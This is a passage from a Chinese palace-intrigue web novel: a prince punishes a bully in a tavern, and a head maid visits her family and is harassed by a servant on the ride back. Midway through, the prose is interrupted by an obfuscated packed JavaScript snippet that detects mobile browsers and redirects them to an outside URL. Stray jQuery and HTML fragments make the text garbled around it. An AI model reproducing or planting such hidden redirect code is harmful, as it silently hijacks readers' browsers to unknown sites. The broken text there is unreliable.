钱少威站在人群的另一端，见到薛景珩现身，顿时脸色一变。


    只觉得一股莫名的压迫感扑面而来，那笑容明明是柔和的，却隐隐带着一股凌厉，让人无法直视。


    独孤迦罗浑身一僵，感觉喉头发干，瞧着他有些惧怕。


    之前被父王贬斥出临安城，就是薛景珩的手笔。


    临安双壁，薛景珩如深潭藏锋，苏怀堂似明剑映雪，纵使浸润朝廷多年的重臣在两人面前，也持十分畏惧心。


    唯对薛景珩那份惧意里需多添三分谨慎——他言笑晏晏间，对手的命数已被算尽。待到众人察觉时，早已回天乏术。


    而苏怀堂虽然凌厉狠毒，到底心思还烙在明面的爱憎上。


    半年前，独孤迦罗收受了氏族重金，意欲插手科考选拔，被薛景珩察觉并做局揭发。


    此事差点动摇了革新派唯才是用的根基，摄政王一怒之下，削去了他的权力与封号，将他赶出临安城平息民愤。


    最终，独孤迦罗深吸一口气，勉强挤出一丝笑容：“淮安王言重了，我不过是醉酒玩笑，今日之事就此作罢。“


    薛景珩眼神含笑，“哦，一句玩笑便想揭过作罢？“


    独孤迦罗原本得意的表情瞬间僵硬，眼中闪过一丝犹豫和不安。


    钱少威微微低头，手中的扇子无意识地抖动了几下，显然薛景珩今日似乎心情不佳，看来是不打算给独孤迦罗留面子。


    薛景珩微微一笑，目光依旧冷冽如冰，却带着一种不容置疑的威压，转向紧张的小姑娘，“是谁要你来九霄楼唱曲？”


    随行侍卫解开小姑娘的绳子，“放心指认出来，有淮安王替你撑腰。”


    小姑娘瑟缩着走到琅琊王七公子面前，果决地伸出手，“就是他，就是他吃了豆腐不付钱，还吩咐家丁抓了父亲威胁我来九霄楼唱曲。”


    薛景珩眼神示意，路遥心领神会吩咐护卫几步上前，迅速制服王七。


    独孤迦罗的脸色骤然一变，王七原本还想挣扎，打算说些什么，然而薛景珩那眼中冷冷的目光让他心底一阵发寒。


    “天子犯法与庶民同罪，宵禁后走动、强抢民女、仗势欺人，数罪并罚按律例可杖毙！”


    薛景珩话语平淡，却让空气中弥漫起一种令人窒息的压迫感：“只是今日……”他眸中带着一丝温柔，“我不想沾染了血腥煞气……那就打折他的腿以示警告。如有下次，严惩不贷！”


    “住手！你们敢！”王七急忙高声喊道，声音中带着一丝慌乱。“我可是琅琊王氏的人，你们谁敢。”


    话音未落，人已被护卫按倒在地，猛然一脚踢在了他的膝盖上，随着一声清脆的骨折声，王七痛苦地倒吸一口冷气，脸上瞬间扭曲。


    “啊——”惨叫声响彻九霄楼，冷汗涔涔，痛苦得几乎无法喘息。


    独孤迦罗目瞪口呆，瞳孔猛地收缩，他根本没想到，薛景珩竟然会如此狠辣不给情面，直接命人废了王七一条腿。


    他还想上前制止，被钱少威暗中拉住胳膊阻止，“独孤公子，忍一时风平浪静。”


    “薛景珩，你且等着，山水有相逢，我们后会有期……”独孤迦罗声音发颤，硬生生地吞下剩下的话。


    薛景珩轻轻抬手，示意侍卫停手，脸上那丝笑意依旧。“好，我在淮安王府恭候独孤公子指教。”


    二月初二是薛景珩不在府的，玉竹便跟华夫人告了半日假回家探亲。


    玉竹本姓郭，是二十五年前被采买进府的丫头。


    大家族中不成文的规矩——贴身伺候的掌事都要知根知底的家生奴才，只是薛氏虽然贵为五姓十族，却因早年败落时为节省开支，早已遣散变卖了大半仆众，如今府中仆役多为后来采买。


    玉竹便是这般被采买入了薛府，因为聪慧持重一步步熬成了掌事姑姑。


    如今的郭家在临安城远郊购置了一个小宅子。


    玉竹归家推开新漆的乌木门，两进两出的院落豁然开朗，虽无雕梁画栋，却也宽敞齐整。


    正堂里摆着新打的楠木桌椅，案上早就沏好了茶水。


    一年未见，母亲只拉着袖口垂泪道：“竹儿，都说王府规矩深似海，可还熬得住？”


    玉竹闻言垂泪，替母亲拭泪：“娘说哪里话，当年家里艰难将我卖入薛家，万幸遇上个明理的门第，又蒙老太君恩典调理，如今在王爷跟前掌事，已是天大的体面。”


    郭光三下五除二拆开了姐姐随行的小包袱，里面是带回家的茶点，伸手便放进嘴里，腮帮子塞得鼓鼓，眼睛满足地眯成了缝。


    母亲拉着女儿的手坐在新打的床沿上，指尖摩挲着她腕间的珊瑚手串，絮絮问着冷暖。


    半晌，还是郭光率先开口陪笑道：“姐姐自然是得了造化的。只是……姐姐年岁渐长，还是要考虑终身大事。淮安王府虽好，终究不是久留之地。姐姐如今掌着院里的钥匙账目，何不借机多攒些梯己嫁妆，趁早出府嫁人呢？”


    郭光继续絮絮道：“我近岁留神仔细替姐姐相看了一个，是平安洲城西的李家，是个实打实的富庄户人家，有百十亩好田，前头娘子上月没了，正缺个掌家奶奶。”


    玉竹闻言愣住了，手中端着的茶盏轻轻一顿，面上依旧沉静如水，“光哥儿如今出息了，倒替姐姐盘算起前程来？当年若非为让你吃顿肉，爹娘何至于狠心将我卖出去？如今我略得些体面，你便又算计着榨骨吸髓，要拿我换聘礼不成？”


    “阿姐，我倒不是这个意思……”


    话音未落，院外忽响起马蹄声，传来急促的叫门声。


    玉竹“腾”地站起身三步并作两步掀开门帘，脸上那点不满瞬间被焦急取代：“可是二公子寻我？”


    伺候薛景彻的小厮薛贵喘着气下马摆手：“哎哟我的好姑姑！二公子这会子怕还在九霄楼醉酒呢，他哪管这些？”


    薛贵大口喘着气，“……是大公子腿伤犯了，要立时请宫里的陈太医！大公子无职无衔，须得用王爷的腰牌才能递牌子进宫！疼得实在受不住，又不好惊动王爷和老太君，才急等着您的腰牌救命！”


    薛贵瞧着玉竹不动，焦急地来拉扯她的衣裳：“玉竹姑姑！快，二公子的东西和腰牌不都在您手里收着么？快随我回去！”


    玉竹眼底的光黯了黯，旋即恢复掌事姑姑的利落，取了随身小印便要跟小厮回去。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16947533|188073||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    郭李氏追到门边，看着女儿匆匆的背影，终是忍不住低声道：“玉竹……娘知道你心气高，是鸡窝里飞出的金凤凰。可淮安王那等门第，不是咱们能肖想得起的……市井都传淮安王新收了两个侍妾的事，你可知晓？只怕你白白蹉跎了年岁。”


    玉竹脚步猛地一顿，背对着母亲，肩头微微绷紧，半晌才冷冷道：“侍妾的事，公子可从未应允，况且……一个是宫里送来的玩物不得他意，一个是醉吟楼出身的风尘女子，如何配得上二公子？我跟她们……不一样。”


    玉竹低不可闻的呢喃飘散在风里。


    她推拒了郭李氏瞒着儿子塞给她的私房钱，“娘，府里主子宽厚每月总有赏赐，这些体己钱您自己留着用吧，只是别让弟弟知道，不然他又要出去装大方挥霍。”


    薛贵急得跺脚，上前一步就要拉扯玉竹的胳膊：“我的好姑姑！火烧眉毛了，快些走吧！”


    情急之下，他粗糙的手指不知有意还是无意，竟擦过了玉竹露在袖外的一截手腕——那肌肤细腻白嫩，全然不似平时跟薛贵厮混的几个做粗活的小丫鬟。


    这触感如羽毛搔过心尖，薛贵心头猛地一荡，瞧向玉竹的眼神都黏腻了几分。


    “放肆！”玉竹正撞见薛贵不怀好意的目光，如同被毒蝎蛰了，一股恶寒直冲头顶。


    她反手就是一记响亮的耳光，狠狠掴在薛贵脸上，声音清脆得骇人。


    玉竹胸膛起伏，眼中是毫不掩饰的鄙夷和怒火，仿佛在看什么污秽不堪的东西。


    她心系薛景珩那等人物，平日里连来府里有头脸的世家公子都未必入眼，岂容这等下作东西触碰？


    薛贵被打得头一偏，脸上火辣辣地疼，那点旖旎心思登时化作冲天怒焰。


    只是薛景彻的腿伤要紧，一时半会不好发作，便捂着脸催促玉竹赶紧上马。


    “怎么只有一匹马？”


    玉竹猛地后退一步，声音发颤：“男女有别，这……这如何使得！”


    薛贵被气笑了，嘴角扯出一丝刻毒：“呵！玉竹姑娘好大的威风！莫不是以为自己真是世家小姐了？平日里大家放尊重了唤你声‘姑姑’，你就当真端起来了？”


    “别忘了，你不过是我薛家花银子买来的死契丫头！吃穿用度哪里不是薛家赏赐的，生死荣辱全凭主子一句话！事急从权，大公子不愿意惊动王爷和老太君，私下遣了我快马出府寻你。这时候雇马车？你也配！误了大公子的伤，你有几个脑袋担待？上马！”


    他句句如刀，直戳玉竹最隐秘的痛处和恐惧。


    玉竹气得浑身发抖，脸色煞白，那句“死契的丫头”像冰锥刺进心窝。看着薛贵牵来的唯一一匹快马，她咬碎了牙，指甲深深掐进掌心。


    她心里清楚得很，就算平时老太君疼爱她，薛景珩敬重她，可撕碎这些表面幻象，自己的名声和薛景彻的伤比起来却是不值一提的。


    最终，她屈辱地踩上马镫，僵硬地坐在了马上。


    马匹疾驰起来，颠簸间身后那具身体若有似无地贴蹭过来，热气喷在她颈后。


    玉竹恶心得几乎要吐出来，却只能死死抓住马鞍，不敢声张。